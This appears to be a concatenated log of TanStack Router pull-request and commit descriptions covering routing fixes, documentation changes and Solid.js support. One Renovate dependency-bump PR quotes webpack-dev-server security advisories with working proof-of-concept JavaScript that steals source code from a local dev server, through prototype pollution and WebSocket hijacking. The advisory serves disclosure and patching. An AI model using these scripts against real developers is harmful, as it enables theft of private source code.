const ParamgroupIndexRoute = ParamgroupIndexRouteImport.update({
id: '/',
path: '/',
getParentRoute: () => ParamgroupRouteRoute,
} as any)
```
therefore the `$param` part of the path will be lost, and it won't be
included in `index.tsx`'s path resolution algorithm (in this case its
path would be `/`)
# Current behavior
When processing a route node, its path is skipped when all nodes between
it and the higher route are groups.
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
This PR closes#4623 by considering routeFileIgnorePattern when checking
for routeFilePrefix
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Basically my understanding is that the `load` function gets called once
during SSR but right now our `Transitioner` calls it again as it appears
`createRenderEffect` run on the server too where as the `useEffect` in
React doesn't.
The fix is just to bail out if its running on the server. Feels kinda
hacky but it works.
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
This is an attempt to resolve#4526 by making buildLocation aware of the
fact that even though there is a "to" path the route is not always
changing. This is specifically the case with to="." navigations.
This also adds a test largely based on the test provided by
[amargielewski](https://github.com/amargielewski)
fixes#4526
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Currently Route HeadContent don't have support to inline style tags.
After a contribution proposition made by @schiller-manuel in the Discord
Group I have decided to implement this.
I also have used this in the basic example for react-start and
solid-start and added style and style w/loader test cases to both
modules.
---------
Co-authored-by: Flo <fpellet@ensc.fr>
Some of the documentation was missing the path parameter for
`createFileRoute`, which is required by default.
This PR adds those paths back, and tries to make it as relevant to the
surrounding context as possible.
Fixes#4372
Change <Link/> and <Block/> elements to use `createMemo` and
`splitProps` to preserve reactivity.
Render children only once / Remove props spreading
#4209
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
This PR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| autofix-ci/action | action | digest | `551dded` -> `635ffb0` |
---
### Configuration
📅 **Schedule**: Branch creation - Between 12:00 AM and 03:59 AM, only on
Monday ( * 0-3 * * 1 ) (UTC), Automerge - At any time (no schedule
defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/TanStack/router).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC40MC4zIiwidXBkYXRlZEluVmVyIjoiNDAuNDAuMyIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[webpack-dev-server](https://redirect.github.com/webpack/webpack-dev-server)
| [`5.2.0` ->
`5.2.1`](https://renovatebot.com/diffs/npm/webpack-dev-server/5.2.0/5.2.1)
|
[](https://docs.renovatebot.com/merge-confidence/)
|
[](https://docs.renovatebot.com/merge-confidence/)
|
[](https://docs.renovatebot.com/merge-confidence/)
|
[](https://docs.renovatebot.com/merge-confidence/)
|
### GitHub Vulnerability Alerts
####
[CVE-2025-30359](https://redirect.github.com/webpack/webpack-dev-server/security/advisories/GHSA-4v9v-hfq4-rm2v)
### Summary
Source code may be stolen when you access a malicious web site.
### Details
Because the request for classic script by a script tag is not subject to
same origin policy, an attacker can inject `<script
src="http://localhost:8080/main.js">` in their site and run the script.
Note that the attacker has to know the port and the output entrypoint
script path. Combined with prototype pollution, the attacker can get a
reference to the webpack runtime variables.
By using `Function::toString` against the values in
`__webpack_modules__`, the attacker can get the source code.
### PoC
1. Download
[reproduction.zip](https://redirect.github.com/user-attachments/files/18426585/reproduction.zip)
and extract it
2. Run `npm i`
3. Run `npx webpack-dev-server`
4. Open `https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/`
5. You can see the source code output in the document and the devtools
console.

The script in the POC site is:
```js
let moduleList
const onHandlerSet = (handler) => {
console.log('h', handler)
moduleList = handler.require.m
}
const originalArrayForEach = Array.prototype.forEach
Array.prototype.forEach = function forEach(callback, thisArg) {
callback((handler) => {
onHandlerSet(handler)
})
originalArrayForEach.call(this, callback, thisArg)
Array.prototype.forEach = originalArrayForEach
}
const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
console.log(moduleList)
for (const key in moduleList) {
const p = document.createElement('p')
const title = document.createElement('strong')
title.textContent = key
const code = document.createElement('code')
code.textContent = moduleList[key].toString()
p.append(title, ':', document.createElement('br'), code)
document.body.appendChild(p)
}
})
document.head.appendChild(script)
```
This script uses the function generated by
[`renderRequire`](3919c844ec/lib/javascript/JavascriptModulesPlugin.js (L1383)).
```js
// The require function
function __webpack_require__(moduleId) {
// Check if module is in cache
var cachedModule = __webpack_module_cache__[moduleId];
if (cachedModule !== undefined) {
return cachedModule.exports;
}
// Create a new module (and put it into the cache)
var module = __webpack_module_cache__[moduleId] = {
// no module.id needed
// no module.loaded needed
exports: {}
};
// Execute the module function
var execOptions = {
id: moduleId,
module: module,
factory: __webpack_modules__[moduleId],
require: __webpack_require__
};
__webpack_require__.i.forEach(function(handler) {
handler(execOptions);
});
module = execOptions.module;
execOptions.factory.call(module.exports, module, module.exports, execOptions.require);
// Return the exports of the module
return module.exports;
}
```
Especially, it uses the fact that `Array::forEach` is called for
`__webpack_require__.i` and `execOptions` contains
`__webpack_require__`.
It uses prototype pollution against `Array::forEach` to extract
`__webpack_require__` reference.
### Impact
This vulnerability can result in the source code to be stolen for users
that uses a predictable port and output path for the entrypoint script.
<details>
<summary>Old content</summary>
### Summary
Source code may be stolen when you use [`output.iife:
false`](https://webpack.js.org/configuration/output/#outputiife) and
access a malicious web site.
### Details
When `output.iife: false` is set, some global variables for the webpack
runtime are declared on the `window` object (e.g.
`__webpack_modules__`).
Because the request for classic script by a script tag is not subject to
same origin policy, an attacker can inject `<script
src="http://localhost:8080/main.js">` in their site and run the script.
Note that the attacker has to know the port and the output entrypoint
script path. By running that, the webpack runtime variables will be
declared on the `window` object.
By using `Function::toString` against the values in
`__webpack_modules__`, the attacker can get the source code.
I pointed out `output.iife: false`, but if there are other options that
makes the webpack runtime variables to be declared on the `window`
object, the same will apply for those cases.
### PoC
1. Download
[reproduction.zip](https://redirect.github.com/user-attachments/files/18409777/reproduction.zip)
and extract it
2. Run `npm i`
3. Run `npx webpack-dev-server`
4. Open `https://852aafa3-5f83-44da-9fc6-ea116d0e3035.pages.dev/`
5. Open the devtools console.
6. You can see the content of `src/index.js` and other scripts loaded.

The script in the POC site is:
```js
const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
for (const module in window.__webpack_modules__) {
console.log(`${module}:`, window.__webpack_modules__[module].toString())
}
})
document.head.appendChild(script)
```
### Impact
This vulnerability can result in the source code to be stolen for users
that has `output.iife: false` option set and uses a predictable port and
output path for the entrypoint script.
</details>
####
[CVE-2025-30360](https://redirect.github.com/webpack/webpack-dev-server/security/advisories/GHSA-9jgg-88mc-972h)
### Summary
Source code may be stolen when you access a malicious web site with
non-Chromium based browser.
### Details
The `Origin` header is checked to prevent Cross-site WebSocket hijacking
from happening which was reported by CVE-2018-14732.
But webpack-dev-server always allows IP address `Origin` headers.
55220a800b/lib/Server.js (L3113-L3127)
This allows websites that are served on IP addresses to connect
WebSocket.
By using the same method described in [the
article](https://blog.cal1.cn/post/Sniffing%20Codes%20in%20Hot%20Module%20Reloading%20Messages)
linked from CVE-2018-14732, the attacker get the source code.
related commit:
72efaab833
(note that `checkHost` function was only used for Host header to prevent
DNS rebinding attacks so this change itself is fine.
This vulnerability does not affect Chrome 94+ (and other Chromium based
browsers) users due to [the non-HTTPS private access blocking
feature](https://developer.chrome.com/blog/private-network-access-update#chrome_94).
### PoC
1. Download
[reproduction.zip](https://redirect.github.com/user-attachments/files/18418233/reproduction.zip)
and extract it
2. Run `npm i`
3. Run `npx webpack-dev-server`
4. Open `http://{ipaddress}/?target=http://localhost:8080&file=main`
with a non-Chromium browser (I used Firefox 134.0.1)
5. Edit `src/index.js` in the extracted directory
6. You can see the content of `src/index.js`

The script in the POC site is:
```js
window.webpackHotUpdate = (...args) => {
console.log(...args);
for (i in args[1]) {
document.body.innerText = args[1][i].toString() + document.body.innerText
console.log(args[1][i])
}
}
let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:8080');
let file = params.get('file')
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
let wsPort = target.port;
var currentHash = '';
var currentHash2 = '';
let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
console.log(event.data);
if (event.data.match('"type":"ok"')) {
s = document.createElement('script');
s.src = `${target}${file}.${currentHash2}.hot-update.js`;
document.body.appendChild(s)
}
r = event.data.match(/"([0-9a-f]{20})"/);
if (r !== null) {
currentHash2 = currentHash;
currentHash = r[1];
console.log(currentHash, currentHash2);
}
}
```
### Impact
This vulnerability can result in the source code to be stolen for users
that uses a predictable port and uses a non-Chromium based browser.
---
### Release Notes
<details>
<summary>webpack/webpack-dev-server (webpack-dev-server)</summary>
###
[`v5.2.1`](https://redirect.github.com/webpack/webpack-dev-server/blob/HEAD/CHANGELOG.md#521-2025-03-26)
[Compare
Source](https://redirect.github.com/webpack/webpack-dev-server/compare/v5.2.0...v5.2.1)
##### Security
- cross-origin requests are not allowed unless allowed by
`Access-Control-Allow-Origin` header
- requests with an IP addresses in the `Origin` header are not allowed
to connect to WebSocket server unless configured by `allowedHosts` or it
different from the `Host` header
The above changes may make the dev server not work if you relied on such
behavior, but unfortunately they carry security risks, so they were
considered as fixes.
##### Bug Fixes
- prevent overlay for errors caught by React error boundaries
([#​5431](https://redirect.github.com/webpack/webpack-dev-server/issues/5431))
([8c1abc9](8c1abc903a))
- take the first network found instead of the last one, this restores
the same behavior as 5.0.4
([#​5411](https://redirect.github.com/webpack/webpack-dev-server/issues/5411))
([ffd0b86](ffd0b86b79))
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).
🚦 **Automerge**: Enabled.
♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/TanStack/router).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC40MC4zIiwidXBkYXRlZEluVmVyIjoiNDAuNDAuMyIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Opening this PR for discussion, I'm very open to scope changes.
This PR tackles two problems with `defaultStructuralSharing: true`:
1. symbol properties are not taken into account for "object equality"
and are not copied over when creating a new copy
2. non-enumerable properties are not taken into account for "object
equality" and are not copied over when creating a new copy
Point 1. actually is causing some of our users a headache, see
https://github.com/apollographql/apollo-client/issues/12619 and
https://community.apollographql.com/t/preloadquery-with-tanstack-router-loader/9100
.
Users expect that they're able to pass an object with symbol properties
over from a loader into components, but when having
`defaultStructuralSharing` enabled, from the second object that is
passed over, it creates a copy and strips off symbol properties.
That new object without the expected symbol properties will then crash
our `useReadQuery` hook.
In other words, the first loader call returns
```js
{
refObject: { toPromise: Function1, [secretSymbol]: ImplementationDetail1 }
}
```
the component receives
```js
{
refObject: { toPromise: Function1, [secretSymbol]: ImplementationDetail1 }
}
```
and the second loader call returns
```js
{
refObject: { toPromise: Function2, [secretSymbol]: ImplementationDetail2 }
}
```
but the component receives
```js
{
refObject: { toPromise: Function2 }
}
```
`toPromise` is a different function, so it goes into the "clone" path,
but skips the `secretSymbol` property.
If we wouldn't have that `toPromise` property on there (and we're
considering removing it!), it would even be worse to debug - users would
always stay on the first `refObject` and never get the second, since
both objects would be considered equal.
On our side, passing these objects from loaders to components is
actually an intended pattern, so this is causing quite a bit of problems
- see this example from our docs (see [Initiating queries outside
React](https://www.apollographql.com/docs/react/data/suspense#initiating-queries-outside-react)):
```ts
import { useLoaderData } from 'react-router-dom';
export function loader() {
return preloadQuery(GET_DOGS_QUERY);
}
export function RouteComponent() {
const queryRef = useLoaderData();
const { data } = useReadQuery(queryRef);
return (
// ...
);
}
```
Problem 2. is purely hypothetical and we haven't encountered it - but it
should probably be handled in some way.
Both of these problems can be handled in two ways:
* take these "special properties" into account for comparisons and copy
them over (my naive approach here would lose the "non-enumerability" of
these properties, more code would be necessary to keep that)
* in `isPlainObject` just return `false` if an object has non-enumerable
or symbol properties. This would opt out of structural sharing for these
objects (which is probably perfectly fine)
I'd be open for either of those solutions, and also for completely
dropping the "non-enumerable" case for simplicity, but I would be very
happy if we could get *something* in to help with symbol properties.
In React Query, these values can be assumed to be serializable JSON, so
the current implementation is perfectly fine, but with client-side
loaders, users can just pass anything, and here it's causing quite the
problem.
Telling our users to situationally turn off structural sharing would be
an educational nightmare.
This allows `Route.Link` and `routeApi.Link` bindings instead of manual
`from`.
We never used to be able to do this due to circular issues but it seems
this is no longer an issue since all the changes to the types
---------
Co-authored-by: TkDodo <office@dorfmeister.cc>
# Add DevJokes Tutorial: Reading and Writing Files
<img width="1318" alt="image"
src="https://github.com/user-attachments/assets/e6284dea-9596-42e5-b37a-c29ed56fa934"
/>
## Description
Adds a tutorial showing how to build a full-stack DevJokes app with
TanStack Start. Users learn to create server functions for reading and
writing to files, build React components, and implement data fetching
with TanStack Router.
## Key Features
- Server functions with `createServerFn`
- File-based data storage with Node.js `fs`
- Form handling and data validation
- Data refreshing with `router.invalidate()`
- Complete UI with Tailwind CSS
## Demo
https://youtu.be/zd0rtKbtlgU
## Reference
Complete code available at: https://github.com/shrutikapoor08/devjokes
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Add a button to navigate to a route from the `router-devtools`.
Paths with dynamic path parameters will reuse the path parameters
from the current route. Only paths, where the current path
parameters are viable for a successful navigation will have this button
appear.
---
Co-authored-by: SeanCassiere <33615041+SeanCassiere@users.noreply.github.com>
This change, makes it so that the `pendingComponent` is no longer
code-split by default when using the `automaticCodeSplitting` feature.
With this change, both the `loader` and `pendingComponent` will not be
code-split by _default_.
Exposes the `ClientOnly` component for preventing rendering & hydration
errors.
## Background
When you attempt to prevent content from rendering using something like
`typeof document !== 'undefined'` as that type of conditional will cause
hydration errors.
## API
```tsx
import { ClientOnly, createRoute } from '@tanstack/react-router'
import { Charts, FallbackCharts } from './charts-that-break-server-side-rendering'
const Route = createRoute({
// ... other route options
path: '/dashboard',
component: Dashboard,
})
function Dashboard() {
return (
<div>
<p>Dashboard</p>
<ClientOnly fallback={<FallbackCharts />}>
<Charts />
</ClientOnly>
</div>
)
}
```
> [!NOTE]
> This component as is (other than I removed the `children` as a
`function`) in production on [joggr.io](https://joggr.io)
---------
Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
Co-authored-by: Ahmed Abdelbaset <A7med3bdulBaset@gmail.com>
Co-authored-by: Birk Skyum <birk.skyum@pm.me>
The migration to `router-core` made the `redirect` function
more restrictive since it _only_ used the `RegisteredRouter`.
This change makes it so that it accepts `AnyRouter` with it
defaulting to the `RegisteredRouter`. Also, `TTo` also
needed to be changed, since the first generic became optional.
fixes https://github.com/TanStack/router/issues/3680
It seems like `resolvedLocation` does not always point to the latest
location state in the ref callback; sometimes it points to the previous
location and `onRendered` is not triggered.
Also this fix detaches `onRendered` event from the scroll restoration
feature.
This change hashes the generated filnames for the JSON blobs that used
for static server function RPC calls.
So it goes from being
```
/__tsr/staticServerFnCache/app_routes_nav_posts_stub_tsx--loadPostServerFn_createServerFn_handler__-this-is-a-post-slug-.json
```
to
```
/__tsr/staticServerFnCache/00e9f7af882c994097f011e6492f2a30e8754bb0.json
```
This has an added benefit of ensuring that the `sha1` hash names are
always the same in character length.
Closes#3655
Switch out our `qss` implementation from its manual solution
over to using `URLSearchParams` for handling
encoding/decoding while still retaining the same interface.
---------
Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
Fixes#3741
Added hash scroll handling directly in the React `Transitioner`
component's `onResolved`, similar to how it's implemented in the Solid
version
In the "search params" guide, the usage of the variable
`allProductsRoute` has been changed to `Route` in the code-block
examples for consistency and clarity.
This makes the examples easier to follow since `Route` is used
throughout the rest of the documentation.
## Changes
1. **Fix createRootRoute syntax**: Updated all examples in the document
head management guide to use the correct `createRootRoute({...})` syntax
instead of the incorrect `createRootRoute()({...})` syntax.
2. **Fix HeadContent placement**: The previous commit corrected the code
example for Single-Page Applications to properly show the correct syntax
for creating a root route with HeadContent.
## Why these changes matter
- The incorrect syntax examples could lead to confusion for developers
implementing document head management in their applications
- These fixes ensure consistency throughout the documentation and
provide developers with the correct implementation patterns
- Proper documentation helps reduce support requests and improves
developer experience
## Technical details
- Fixed 5 instances of incorrect `createRootRoute()({...})` syntax
throughout the document
- Previously fixed the SPA example which had an incorrect API reference
These changes ensure that all code examples in the document head
management guide are correct and consistent with the actual API
implementation.
The `.matchRoute` method on the Router type page previously stated it
returns a `RouteMatch` object. In reality, it returns only the route
match's params.
This update corrects the return type in docs to reflect actual behavior.
Fix#3875
Currently, when the code-splitter encounters a known identifier used for
configuration in `createFileRoute` (such as `component`, `loader`,
`errorComponent`, etc.) it retains the export without splitting it out
into a separate file.
This functionality is currently partially working when the export is a
"default export" which references an already declared identifier.
```ts
const loader = () => {}
export default loader
```
However, it does not work when the "default export" is also making a
function declaration for the export.
```ts
export default function loader() {}
```
This PR adds the functionality to detect this use case and perform the
same transformations to align itself with the behaviour for all others
exports.
Just a quick note to prevent hitting 404s where the export needs to be named `APIRoute`.
---------
Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
The `_pathlessLayout.tsx` should be the same name as the directory
`_pathlessLayout` in order to be applied as Layout for `route-a` and
`route-b` routes
Mentions of this being experimental in
- overview page (first in the docs)
- readme of solid-start package
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
There are broken links in the Tanstack Start "Build from Scratch: The
Router Configuration" section.
I believe this should goes into Tanstack Router documentation.
As part of the move to `router-core` in
https://github.com/TanStack/router/pull/3803, we accidentally removed
the `Symbol` declaration that was being performed in the constructor of
the `Route` class. This had a downstream effect on the HMR functionality
provided by `@vitejs/plugin-react`.
Fixes#3815
Following up on https://github.com/TanStack/router/discussions/3790 I added some JSDoc on a few uncommented types I encountered in my project.
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
This more cleanly and safely constructs a href with search parameters
and prevents incorrectly adding a double slash to the start of the URL
that was introduced in #3644.
Fixes#3739Fixes#3699
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Closes https://github.com/TanStack/router/issues/3723
The hooks rules makes it impossible to have the same conditional logic
for the useRouter call as the solid-router-devtools has, so this mutes
the warning to avoid flooding the browser console, because the setup
here is intentional.
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Closes https://github.com/TanStack/router/issues/3746
With this change, setting on the DevTools the properties:
- panelProps
- closeButtonProps
- toggleButtonProps
Will propagate those values, such as `style` or `class` correctly to the
respective DOM elements.
Removes
- react-start-server-functions-fetcher/handler/client/ssr
- solid-start-server-functions-fetcher/handler/client/ssr
Introduces (as they were called in the past)
- start-server-functions-fetcher/handler/client/ssr
The API routes only rely on h3, which is in start-server-core, so the
entire start-api-routes package can now be agnostic.
Removes
- react-start-api-routes
- solid-start-api-routes
Introduces
- start-api-routes
Using the below setting, the examples and e2e projects opt into the
future behavior of using `./src` as the app directory, rather than
'./app':
```ts
tsr: {
appDirectory: 'src',
},
```
The `./src` directory is typically used for pure-TS Router projects, as
well as CRA. Thus this reduces the churn for a TS Router SPA to opt into
server features with TS Start.
#3700 introduced an unintended side-effect with the scroll restoration
process in TanStack Start.
This revets the code changes in `@tanstack/react-router` and
`@tanstack/solid-router` and short-circuits the tests relevant test
scripts introduced in the offending PR.
The `restoreScroll` function was directly interfacing with
`window.location.hash` to get the 'hash' value, which conflicts with how
hash routing functions. As such, when the hash value was retrieved, it
came back as `#/page#foo` instead of just `#foo` like it would with
regular browser history.
Switching it to use the `history` driver attached to the `router`
instance, correctly returns the `hash` value irrespective of the type of
routing being used.
Fixes#3479
The original `@tanstack/router-devtools` package still work - it's not
touch by this PR in any way, apart from a migration note saying:
>[@tanstack/router-devtools] Warning: This package has moved to
@tanstack/react-router-devtools. Please switch to the new package, as
this package will be dropped soon.
This introduce three new packages
- @tanstack/router-devtools-core : This is a SolidJS port of the UI
And two adapters on top, that mount this solid app and forward
router/routerState into it.
- @tanstack/solid-router-devtools
- @tanstack/router-router-devtools
For use of devtools in production, a `TanStackRouterDevtoolsInProd` can
be imported instead of the standard `TanStackRouterDevtools` that'll be
tree shaken away in prod.
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: SeanCassiere <33615041+SeanCassiere@users.noreply.github.com>
Co-authored-by: Lachlan Collins <1667261+lachlancollins@users.noreply.github.com>
Based on the discussion in https://github.com/TanStack/router/discussions/3664, I'm adding an
option to disable the formatting of the generated routeTree. The file is not meant for human consumption and disabling the formatter can significantly speed up the route generation process.
---------
Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
verbatimModuleSyntax can cause server bundles to quietly leak into
client bundles via exported types. It is an easy mistake to make that
can be _very_ difficult to debug.
Inspired by #3401
Co-authored-by: ryan-callahan-edo <ryan.callahan@edoinc.com>
Fixes#3661
I tested this in my own codebase. With this change, the warnings are
gone.
Rollup plugin docs specifically say that you should return `null` if you
didn't transform anything. Vite follows rollup's API.
This PR adds viewTransition documentation to the NavigateOptionsType,
giving users more info on how they can use the viewTransition API in
Links and Navigates.
Will follow up in the next day or so with an example as well.
`parseLocation` in `createHashHistory` failed to parse search params when they appeared before the hash. This PR updates the parsing logic so that search params are correctly extracted and processed, regardless of their position.
fixes#3595
Fixes#3634
Simply checking the type of `window.sessionStorage` is apparently enough to trigger `SecurityError`. To address it we use try/catch and set the variable to true only if it's indeed available.
Follow up to
- https://github.com/TanStack/router/pull/3611
Port this test suite from react-start to solid-start
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
when client navigating, the react-router doesn't update the head meta
tags, such as the title
---------
Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
Reverts #3631 - it's relying on peer Deps of react v18 or v19, so it
might be a problem if we use v19-only features.
There is work underway that'll uncouple this - but it's not in yet
_Agnostic devtools step 1 of plan_
This merely move some components into own files, as internal change in
router-devtools, so it's easier to keep an overview of imports.
This is a more similar structure to the query-devtools
-
https://github.com/TanStack/query/tree/main/packages/query-devtools/src
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
This PR introduce support for Solid to be used with TanStack Start.
There are several ongoing refactors that can influence the timing of
when it's most feasible to merge this.
### Status (build and run e2e/solid-start/basic)
- [X] SSR
- [x] API Routes
- [x] Server Functions
- [x] HMR
- [x] Streaming (/stream route)
- [X] Timely hydration
### Ongoing refactors
Refactor to make router packages (aka. client-only features) more
agnostic:
- #3552
- #3540
- #3538
- #3171
Refactor to make start packages (aka. server features) more agnostic:
- #3546
- #3563
- #3565
### Upstream changes to solid-router
- #3592
- #3591
- #3589
- #3616
### Passing E2E test suites
- [x] basic
- [x] website
- [x] scroll-restoration
- [x] server-functions
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Brenley Dueck <brenleydueck@gmail.com>
Co-authored-by: Iha Shin <me@xiniha.dev>
Co-authored-by: Brenley Dueck <brenley@crowdbotics.com>
Picking solid-router relevant changes from
[commit](https://github.com/TanStack/router/pull/3522/commits/9eaa09ea1f95f786e9bd239fe787f10d6cb08e1c)
by @brenelz , that fixes assets handler in solid-router by using
`@solidjs/meta`.
With this, the head tags like the title will update on client
navigation.
The changes in this PR that affect most files are merely repetitions of:
- bumping solid 1.9.4 -> 1.9.5
- inserting `<HeadContent>` in the root route
- removing `<title>` from the index.html
Includes an automated test for solid-router corresponding to
- https://github.com/TanStack/router/pull/3610
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Example
```
import { createMiddleware } from "@tanstack/react-start";
export const middleware = createMiddleware();
```
Issue
```
The inferred type of middleware cannot be named without a reference to ../../../../node_modules/@tanstack/react-start-client/dist/esm/createServerFn . This is likely not portable. A type annotation is necessary.
```
Solution
exporting `ServerFnResponseType` resolves this.
Follow up to
- https://github.com/TanStack/router/pull/3585
@SeanCassiere the new examples import from workspace which breaks when
opening them in stackblitz in the docs.
This import the published versions, so it works
I also cleaned up references to react router devtools
Migrates many types over but there is still a lot to do D:
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Fixes global middleware via a new `app/global-middleware.ts` file
(configurable path) that is side-loaded automatically into the client
and server-fn environment to ensure registerGlobalMiddleware will run in
both environments
Fixes#3315
---------
Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
* copy react-router
* update
* Move forward branch
* cleanup
* cleanup
* add publish
* bump deps
* ci: apply automated fixes
* remove unused imports
* ci: apply automated fixes
* bump vite plugin solid
* fix imports
* ci: apply automated fixes
* remove react lint from solid-router
* fix types
* ci: apply automated fixes
* add structuralSharing
* downgrade vite plugin solid
* fix scroll-restoration in solid-router
* fix Transitioner
* fix imports from ScrollRestoration
* Fix tests
* Fix more tests
* Remove the react $$typeof
* add accessors to useLocation
* add remountDeps
* cleanup
* remove tanstack/store
* format
* add missing call to setupScrollRestoration
* format
* add optional
* align match component
* make matches a signal
* Bump vite-plugin-solid to stable
* add missing await
* Fix unknown error
* Tweak the tests to call functions
* remove unused vars
* fix lockfile
* Down to 25 failures
* Remove .only
* call search()
* remove the structuralSharing
* fix type test
* fix structuralSharing
* comment out structured sharing validation check
* fix typings
* comment out serialization check
* comment out serialization check
* cleanup
* improve types of useSearch
* fix "when setting search params with 2 parallel navigate calls"
* fix useParams
* fix types
* fix useParams types
* cleanup debug
* fix link data loader
* fix data loader signal
* fix type test
* fix Link "when navigating away from a route with a loader that errors"
* setup on() simpler
* make initial load a createRenderEffect
* Fix some link preload tests
* add accessor to UseMatchRoute
* fix: when navigating to /posts with a beforeLoad that returns context
* call parentRouteId
* re-enable invariant
* fix when navigating from /invoices to ./invoiceId and the current route is /posts/$postId/details
* use memo for prev
* remove browserhistory workaround
* fix "after a navigation, should have emitted the "onResolved" event twice"
* skip remount
* add types to useSearch
* fix search middleware
* don't need a getter
* sync react-router
* solid kitchen sink
* add the example to workspace
* lockfile
* fix solid kitchensink name
* add solid template
* fix example
* rename react to solid
* work on example
* add accessor
* fix type tests
* Fix login in example
* Don't destructure
* Fix stuck on pending component
* Fix where loaderData can be undefined
* Use For component
* More refactor
* Hacky way to fix loading spinner
* Fix one test
* Better MatchRoute fix
* Down to 1 failing test
* Fix last test
* cleanup subscription
* lockfile
* eslint
* ci: apply automated fixes
* fix router-core lint
* ci: apply automated fixes
* add e2e test for solid-router
* ci: apply automated fixes
* work on solid-router e2e suites
* fix comment
* use solid-virtualizer
* work on scroll-restauration
* work on scroll-restauration
* skip react-specific useRenderEffect test
* fix errorcomponent being used before it's defined
* set solid target for esbuild
* ci: apply automated fixes
* fix rspack tests
* fix query tets
* add solid-query example
* use memo for post
* add memo for posts
* fix example
* add jsx compiler flags to esbuild commands
* add esbuild-plugin-solid
* Fix some e2e
* ci: apply automated fixes
* port #3423 from react-router
* fix useLoaderData test-d
* add codeSplitGroupings
* Scroll restoration fixes
* add asset headcontent script
* remove solid-router-copy
* fix react use
* fix scroll restoration test
* skip esbuild because it's broken in react-router
* wait for timeout
* update scroll-restoration to match react
* useLocation
* use on() in match
* align useNavigate with react-router
* lockfile
* fix Scripts test
* align __TSR_SSR__ in ScriptOnce
* remove solid-router from publish
* lint
* ci: apply automated fixes
* align to react-router
* port over "exclude props from state equality check to prevent history push for equal url and state"
* align with react-router
* add shouldThrow
* fix typePrimitives
* use searchStr to fix the search middleware
* ci: add solid-router to the labeler
* use patched vite-plugin-solid
* eslint
* ci: apply automated fixes
* use vite-plugin-solid 2.11.2
* remove only modifier
* move vite-plugin-solid peerDep to router-plugin
* use latest vite-plugin-solid
* move vitest to root
* bump vitest
* revert onRendered
* lint
* add to publish
* fix scroll restoration
* ci: apply automated fixes
* align version with react-router
* sync to react-router
* sync with react-router
* sync navigate tests to react-router
* ci: apply automated fixes
* use Solid.JSX.Element consistently instead of Solid.JSXElement
* remove irrelevant test
* ci: apply automated fixes
* remove unused suite
* lint
---------
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Brenley Dueck <brenleydueck@gmail.com>
Co-authored-by: SeanCassiere <33615041+SeanCassiere@users.noreply.github.com>
* refactor: remove clientAfter
* perf(start): add middleware types interface to avoid structural comparison
* docs(start): update to include inferring context from server to client
Co-authored-by: SeanCassiere <33615041+SeanCassiere@users.noreply.github.com>
